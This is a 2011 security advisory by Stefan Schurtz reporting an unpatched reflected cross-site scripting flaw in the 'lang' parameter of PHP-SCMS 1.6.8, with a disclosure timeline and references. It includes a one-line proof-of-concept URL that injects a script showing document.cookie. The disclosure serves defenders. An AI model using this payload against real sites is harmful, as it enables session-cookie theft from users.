PHP-SCMS 1.6.8 "lang" parameter XSS vulnerability

2011-12-19T00:00:00
ID SECURITYVULNS:DOC:27458
Type securityvulns
Reporter Securityvulns
Modified 2011-12-19T00:00:00

Description

Advisory: PHP-SCMS 1.6.8 "lang" parameter XSS vulnerability Advisory ID: SSCHADV2011-035 Author: Stefan Schurtz Affected Software: Successfully tested on PHP-SCMS 1.6.8 Vendor URL: http://php-scms.sourceforge.net/ Vendor Status: unpatched (no vendor feedback)

========================== Vulnerability Description ==========================

PHP-SCMS "lang" parameter is prone to a XSS vulnerability

================== PoC-Exploit ==================

http://<target>/scms/index.php?lang='"</script><script>alert(document.cookie)</script>

========= Solution =========

unpatched

==================== Disclosure Timeline ====================

08-Nov-2011 - Secunia SVCRP (vuln@secunia.com) 14-Dec-2011 - no vendor feedback 14-Dec-2011 - release date of this security advisory

======== Credits ========

Vulnerability found and advisory written by Stefan Schurtz.

=========== References ===========

http://secunia.com/advisories/46766/ http://www.rul3z.de/advisories/SSCHADV2011-035.txt